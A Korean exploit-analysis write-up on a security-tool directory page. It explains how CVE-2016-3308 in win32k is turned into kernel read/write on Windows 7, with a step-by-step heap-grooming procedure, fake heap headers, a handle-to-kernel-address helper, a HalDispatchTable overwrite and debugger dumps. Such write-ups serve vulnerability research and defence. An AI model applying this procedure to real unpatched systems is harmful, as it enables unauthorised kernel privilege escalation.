Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2016-3308 — CVE-2016-3308로 win32k 데스크톱 힙 손상 | Kitploit
도구/GitHubGitHub/jackhuyh/cve-2016-3308
Memory ForensicsVulnerability AnalysisExploitationBinary Exploitation
GitHubjackhuyh/cve-2016-3308

CVE-2016-3308

CVE-2016-3308로 win32k 데스크톱 힙 손상

저장소 보기
1219년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2016-3308을 이용한 win32k 데스크톱 힙 손상

저자 : @55-AA, 2016년 9월 18일

소개

데스크톱 힙은 win32k가 사용하는 커널 풀로, 사용자 모드 애플리케이션에 의해 악용될 수 있습니다. 여기에서는 커널에서 임의 주소를 읽고 쓰기 위한 안정적인 익스플로잇을 구현하는 방법을 자세히 설명합니다. 이 분석 글과 관련 분석은 win7_sp1_x86(빌드 17842) 설치 환경에서 수행되었습니다.

취약점

2016년 8월 9일, Microsoft는 MS16-098을 공개했습니다. 취약점 코드는 win32k!xxxInsertMenuItem 함수에 존재하며, 함수 프로토타입은 다음과 같습니다:

root@kitploit:~
BOOL xxxInsertMenuItem(
        PMENU pMenu, 
        UINT wIndex, 
        BOOL fByPosition, 
        LPMENUITEMINFOW lpmii, 
        PUNICODE_STRING pstrItem
    );

먼저 xxxInsertMenuItem의 의사 버그 코드를 살펴보겠습니다:

root@kitploit:~
if (pMenu->cItems >= pMenu->cAlloced) {
    if (pMenu->rgItems) {
        pNewItems = (PITEM)DesktopAlloc(
                        pMenu->head.rpdesk,
                        (pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
                        DTAG_MENUITEM);
 ......

    pMenu->cAlloced += CMENUITEMALLOC;
    pMenu->rgItems = pNewItems;
    if (wIndex != MFMWFP_NOITEM)
        pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);

......

pMenu->cItems++;
if (pItem != NULL) {
    RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
            sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {

위 코드에서 9번째(1번째부터 세어) 항목이 pMenu에 추가될 때 DesktopAlloc()이 호출되어 새로운 pMenu->rgItems를 재할당했습니다. 그런 다음 MNLookUpItem()이 호출되어 pMenu->rgItems에서 항목의 위치를 가져옵니다. 그러나 MNLookUpItem()이 반환하는 pItem은 pMenu가 아닌 다른 pSubMenu의 rgItems입니다. 따라서 RtlMoveMemory()가 호출될 때 잘못된 이동 크기로 인해 pSubMenu의 pItem과 그 이후 바이트들이 덮어써졌습니다.

다음은 힙 덮어쓰기를 유발하는 버그에 대한 디스어셈블리 코드로, 가짜 청크를 만드는 데 활용될 수 있습니다:

root@kitploit:~
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c          imul    eax,eax,6Ch
95d295b2 2bc3            sub     eax,ebx
95d295b4 034634          add     eax,dword ptr [esi+34h]
95d295b7 50              push    eax
95d295b8 8d436c          lea     eax,[ebx+6Ch]
95d295bb 53              push    ebx
95d295bc 50              push    eax
95d295bd e85ea40100      call    win32k!memmove (95d43a20)

버그를 추적하기 위해 WinDbg에서 다음 중단점을 사용합니다:

root@kitploit:~
ba e1 win32k!xxxInsertMenuItem

ba e1 win32k!xxxInsertMenuItem+0xf3    
95d294e3 e843e70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c          imul    eax,eax,6Ch

버그를 유발하려면 다음 단계를 수행해야 합니다:

  1. 메뉴를 생성합니다.
  2. 메뉴의 첫 번째 ITEM으로 ID 0x123인 하위 메뉴를 생성합니다. 이때 MENUITEMINFO.hbmpItem에 HBMMENU_SYSTEM을 설정해야 합니다.
  3. ID가 0x1001부터 0x1007까지인 다른 ITEM 7개를 메뉴에 추가합니다.
  4. ID가 1인 ITEM을 하위 메뉴에 추가합니다.
  5. 16개의 슬롯을 가진 tagMENU.rgItems를 얻기 위해 하위 메뉴에 다른 ITEM 8개를 추가합니다. 하지만 크래시만 필요한 경우 이 단계는 트리거에 필요하지 않습니다.
  6. ID 0x123인 9번째 ITEM을 메뉴에 추가하여, 잘못된 매개변수로 의도한 RtlMoveMemory()가 호출되도록 합니다.

데스크톱 힙

데스크톱 힙은 모든 GUI 프로세스에서 사용하는 전역 풀입니다. Window, Menu와 같은 모든 GUI 객체는 데스크톱 힙에 저장되며 커널 힙 할당자에 의해 관리됩니다. 커널 힙 할당자는 RtlAllocateHeap, RtlFreeHeap과 같은 익숙한 함수를 사용합니다. 사용자 모드 힙과 달리 데스크톱 힙은 프론트엔드 할당자(front-end allocator)를 사용하지 않으므로 Low Fragmentation Heap, Lookaside 리스트 등이 없습니다. 또한 Windows 8 이상까지는 Heap Encoding도 없습니다. 다음은 win7_sp1_x86에서의 chunk 구조입니다:

root@kitploit:~
typedef struct _HEAP_ENTRY {
    USHORT Size;
    UCHAR Flags;
    UCHAR SegmentIndex;
    USHORT PreviousSize;
    UCHAR SegmentOffset;
    UCHAR UnusedBytes;
 } HEAP_ENTRY, *PHEAP_ENTRY;

Size와 PreviousSize 필드는 HEAP_GRANULARITY_SHIFT(32비트 시스템에서 3으로 정의됨) 비트만큼 오른쪽으로 시프트한 청크 크기를 나타냅니다. Size 필드는 현재 청크를, PreviousSize는 앞쪽 청크를 나타냅니다. Flags의 최하위 비트는 일반적으로 HEAP_ENTRY_BUSY(0x01)로 설정되어 청크가 사용 중임을 나타내며, 그렇지 않으면 0x00입니다.

다음 그림은 이러한 필드와 청크 블록 간의 관계를 보여줍니다. 두 번째 녹색 밑줄 WORD(0x000f)는 현재 청크 크기가 0x78바이트임을 나타내고, 두 번째 검은색 밑줄 WORD(0x0003)는 앞쪽 청크 크기가 0x18바이트임을 나타내며, 빨간색 밑줄 WORD(0x0001)는 현재 청크가 사용 중임을 나타냅니다. 여기서 청크 크기에는 헤더 크기가 포함되며, 헤더는 위의 HEAP_ENTRY 구조로 정의됩니다.

이는 힙 손상에서 가장 중요한 특징으로, 힙 할당자는 항상 최근에 해제된 청크를 가져옵니다. 이는 우리가 원하는 크기의 청크를 원하는 특정 위치에 실제로 할당할 수 있음을 의미합니다.

손상

버그를 활용하여 데스크톱 힙의 일부 바이트를 덮어써서 정상 청크를 대체하는 가짜 청크를 만들 수 있습니다. 그런 다음 대체된 청크를 해제하여 가짜 청크가 해제된 청크 목록의 맨 위로 밀려나게 합니다. 이후 가짜 청크가 재사용되면 그 안에 임의의 바이트를 쓸 수 있습니다. 쓸 수 있는 영역은 여러 정상 청크와 겹치지만 커널 전체를 덮을 수는 없습니다. 따라서 겹치는 영역에 tagWND.strName을 이용해 임의 주소를 쓰는 또 다른 읽기/쓰기 프리미티브를 구축해야 합니다. strName.Buffer의 포인터는 커널랜드와 사용자랜드를 포함한 어디든 가리킬 수 있습니다. 물론 우리의 목표는 오직 nt!HalDispatchTable뿐입니다.

다음 그림은 힙 변경 절차를 보여줍니다:

위에서 보여준 것처럼 데스크톱 힙을 단계적으로 손상시키고 다음 단계로 익스플로잇을 구현합니다:

  1. WndText 크기가 1인 Window를 생성하고 FILL_HOLE_COUNT 횟수만큼 반복하여 기존 구멍을 채웁니다.
  2. 청크 데이터를 조작하기 위해 WND_0 ~ WND_5를 생성합니다.
  3. 메뉴를 생성하고, ID 0x123인 하위 메뉴를 메뉴의 첫 번째 ITEM으로 생성합니다. 그런 다음 ID 0x1001~0x1007인 다른 ITEM 7개를 메뉴에 추가합니다.
  4. ID 1인 ITEM과 ID 0x2001~0x2007인 다른 ITEM 7개를 하위 메뉴에 추가합니다.
  5. 16개의 슬롯을 가진 tagMENU.rgItems를 얻기 위해 ID 0x2008인 9번째 ITEM을 하위 메뉴에 추가합니다.
  6. WND_5 텍스트를 0x360바이트로 설정하여 하위 메뉴 ITEM 8개의 원래 구멍을 채웁니다.
  7. WND_1 텍스트를 0x70바이트로 설정하여 가짜 청크 헤더를 준비합니다.
  8. WND_2 텍스트를 0x70바이트로 설정하여 가짜 청크를 위한 자리 표시자를 만듭니다.
  9. WND_0 텍스트를 0x6c0바이트로 설정하여 향후 메뉴 ITEM 16개를 위한 자리 표시자를 만듭니다.
  10. 자동 생성된 tagPROPLIST와 함께 Primitive-WND를 생성합니다.
  11. 자동 생성된 tagPROPLIST와 함께 Corrupt-WND를 생성합니다.
  12. 8단계의 청크 뒤에 이어질 다음 가짜 청크를 위해 WND_3 텍스트를 0x10바이트로 설정합니다.
  13. 종료 단계에서 복원할 수 있도록 힙 레이아웃을 저장합니다.
  14. WND_0 텍스트를 0x700바이트로 재설정하여 0x6c0 크기의 구멍을 해제합니다.
  15. 9번째 ITEM을 메뉴에 추가하면 14단계에서 해제된 청크를 재사용하며 버그가 유발됩니다.
  16. WND_2 텍스트를 0x80바이트로 재설정하면 가짜 청크가 해제 목록의 맨 위로 밀려납니다.
  17. Corrupt-WND 텍스트를 0x8e0바이트로 설정하면 가짜 청크가 재사용됩니다.
  18. Primitive-WND 텍스트를 설정하여 쓰기 프리미티브를 실행하고 nt!HalDispatchTable[1]을 덮어씁니다.
  19. NtQueryIntervalProfile을 호출하여 셸코드를 트리거합니다.
  20. 저장된 힙 레이아웃을 복원하고 종료합니다.

위 목록에서 힙 펭슈이 구축을 위한 핵심 단계는 다음과 같습니다:

7단계에서는 WND_1 텍스트에 가짜 힙 헤더를 만들어 향후 청크 상태를 지정합니다. 위 그림의 파란색 섹션처럼 빨간색 섹션을 덮어씁니다. 'Corrupt HDR'에서 'red HDR'까지의 거리는 0x6c이며, 이는 ITEM 하나의 크기입니다. 매개변수는 다음과 같습니다:

root@kitploit:~
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;

12단계에서는 WND_3 텍스트에 다음 가짜 힙 헤더를 만들어 힙 할당자가 이 가짜 청크들이 정상적으로 연결되어 있다고 믿게 합니다.

15단계에서는 버그가 유발됩니다. 9번째 ITEM이 추가되면서 ITEM 목록이 재할당되고 WND_0 텍스트에서 해제된 청크를 재사용합니다. 따라서 'SubMenuITEMs HDR'에서 'MenuITEMs HDR'까지의 거리는 (0x6c8+0x78+0x78)바이트이며, 이 영역의 데이터는 자기 자신에 의해 덮어써집니다. 이 단계에서 WND_1, WND_2 및 MenuITEMs의 청크 헤더가 손상됩니다. 프로세스를 정상적으로 종료하기 위해 일부 데이터를 저장하여 20단계에서 복원할 수 있게 합니다.

13단계에서는 데이터가 손상되기 전에 일부 데이터를 저장합니다. 하지만 사용자 모드에 있으므로 커널 영역의 데이터를 읽을 수 없습니다. 다행히 사용자 영역에 매핑된 섹션이 있으며, 이는 데스크톱 힙의 이미지입니다. 읽기 전용이지만 목적에는 충분합니다. 사용자 영역에서 이미지 섹션 주소를 얻으려면 Win32ClientInfo를 사용할 수 있습니다. 이는 TEB에 있는 문서화되지 않은 구조입니다. 살펴보겠습니다:

root@kitploit:~
typedef struct _CLIENTINFO { 
    ULONG_PTR CI_flags; 
    ULONG_PTR cSpins; 
    DWORD dwExpWinVer; 
    DWORD dwCompatFlags; 
    DWORD dwCompatFlags2; 
    DWORD dwTIFlags; 
    PDESKTOPINFO pDeskInfo; 
    ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;

typedef struct _DESKTOPINFO { 
    PVOID pvDesktopBase; 
    PVOID pvDesktopLimit; 
} DESKTOPINFO, *PDESKTOPINFO;

우리가 관심 있는 필드는 pvDesktopBase와 ulClientDelta입니다. pvDesktopBase는 데스크톱 힙의 커널 주소를 가리키고, ulClientDelta는 사용자 영역 이미지와 커널 주소 사이의 오프셋을 지정하는 델타 값입니다.

또한 HANDLE에서 커널 주소로의 매핑 관계가 필요합니다. gSharedInfo라는 전역 변수가 있는데, 이는 win7 이상에서 user32.dll에 의해 내보내집니다. 다음과 같이 정의됩니다:

root@kitploit:~
typedef struct _SHAREDINFO{
	PSERVERINFO psi;      
	PHANDLEENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;      
	ULONG_PTR ulSharedDelta;
	ULONG_PTR awmControl[31];
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;

따라서 다음 함수를 사용하여 핸들에서 커널 주소를 얻을 수 있습니다:

root@kitploit:~
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
	HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
	ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
	ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
	ULONG dwUniq = (ULONG)MyHandle >> 16;
	if(dwIndex <= cEntries) {
		if (dwUniq == UserHandleTable[dwIndex].wUniq) {
			*UserlandPtr = (PVOID)(
                (ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
			return (PVOID)UserHandleTable[dwIndex].phead;
		}
	}
	return NULL;
}

17단계, 18단계, 20단계에서는 커널 영역에 일부 바이트를 쓰기 위해 Window 텍스트를 활용합니다. 이 텍스트는 데스크톱 힙에 할당되고 window 객체와 연결된 LARGE_UNICODE_STRING입니다. win7_sp1_x86의 tagWND 구조에서 오프셋 0x84에서 찾을 수 있으며, 오프셋 0x8c가 읽기/쓰기를 제어할 수 있는 포인터입니다. 사용자 영역에서 NtUserDefSetText()를 호출하여 window의 텍스트를 설정할 수 있으며, 텍스트 내용은 우리가 원하는 커널 주소에 쓰여집니다.

19단계에서는 마지막 목표인 셸코드를 트리거합니다. 사용자 영역에서 NtQueryIntervalProfile()을 호출하면 원래 hal!HaliQuerySystemInformation이 호출되지만, 18단계에서 nt!HalDispatchTable의 함수 포인터가 우리의 함수로 교체되었습니다. 참고로 NtQueryIntervalProfile의 첫 번째 매개변수가 1로 설정되면, 오프셋 84115505의 다음 코드 때문에 단락(short-circuit)이 발생합니다:

root@kitploit:~
nt!KeQueryIntervalProfile:
841154fd 8bff            mov     edi,edi
841154ff 55              push    ebp
84115500 8bec            mov     ebp,esp
84115502 83ec10          sub     esp,10h
84115505 83f801          cmp     eax,1
84115508 7507            jne     nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9              leave
84115510 c3              ret

그 외의 값이라면 정상적으로 실행됩니다.

전체 손상 과정을 편리하게 추적하기 위해 콘솔에 몇 가지 핵심 값을 출력합니다.

출력 내용을 통해 WinDbg로 손상된 데스크톱 힙 레이아웃을 살펴볼 수 있습니다.

다음은 7단계와 8단계의 WND_1_Text와 WND_2_Text입니다:

root@kitploit:~
1: kd> db fea2d7a8-8 l78*2
fea2d7a0  0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00  ................
fea2d7b0  e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d810  00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08  ................
fea2d820  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

다음은 15단계에서 익스플로잇된 후의 상태입니다:

root@kitploit:~
0: kd> db fea2d7a8-8 l78*2
fea2d7a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d810  d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08  ................
fea2d820  f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00  .6..............
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00  ................

다음은 완성된 가짜 청크입니다:

root@kitploit:~
0: kd> db fea2d820-8
fea2d818  1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe  .........6......
fea2d828  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d838  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d848  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d858  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d868  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d878  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d888  0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................

다음은 두 번째 완성된 가짜 청크입니다:

root@kitploit:~
0: kd> db fea2d820-8 + 11d*8
fea2e100  02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00  ................
fea2e110  0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1  ........8&......
fea2e120  00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00  [email protected].........
fea2e130  00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe  ................
fea2e140  00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95  .........@......
fea2e150  00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00  ................
fea2e160  e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe  .>..............
fea2e170  00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09  ................

PrimitiveWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4  02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00  .........S......
fea2dff4  60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  `...............
fea2e004  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e014  17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01  ..............~.
fea2e024  18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00  ................
fea2e034  03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe  [email protected]...
fea2e044  18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04  ...`............
fea2e054  00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe  ........`...(...

CorruptWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4  de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00  ........ .......
fea2e0c4  30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  0...............
fea2e0d4  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e0e4  17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01  ..............~.
fea2e0f4  18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00  ................
fea2e104  1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00  ................
fea2e114  03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00  ....8&..........
fea2e124  40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00  @.G.............

교체된 셸코드 포인터:

root@kitploit:~
0: kd> dds nt!HalDispatchTable
83f753f8  00000004
83f753fc  013711c0
83f75400  83e3c1b4 hal!HalpSetSystemInformation
83f75404  840fe71f nt!xHalQueryBusSlots
83f75408  00000000

0: kd> u 013711c0
013711c0 a188fa3701      mov     eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701    mov     ecx,dword ptr ds:[137FA80h]
013711cb 894804          mov     dword ptr [eax+4],ecx
013711ce 33c0            xor     eax,eax
013711d0 c21000          ret     10h

참고 자료

  • MS16-098 분석
  • 32비트 및 64비트에서 win32k!xxxEnableWndSBArrows use-after-free(CVE-2015-0057) 버그 악용
  • 사용자 모드 콜백을 통한 커널 공격
도구 다운로드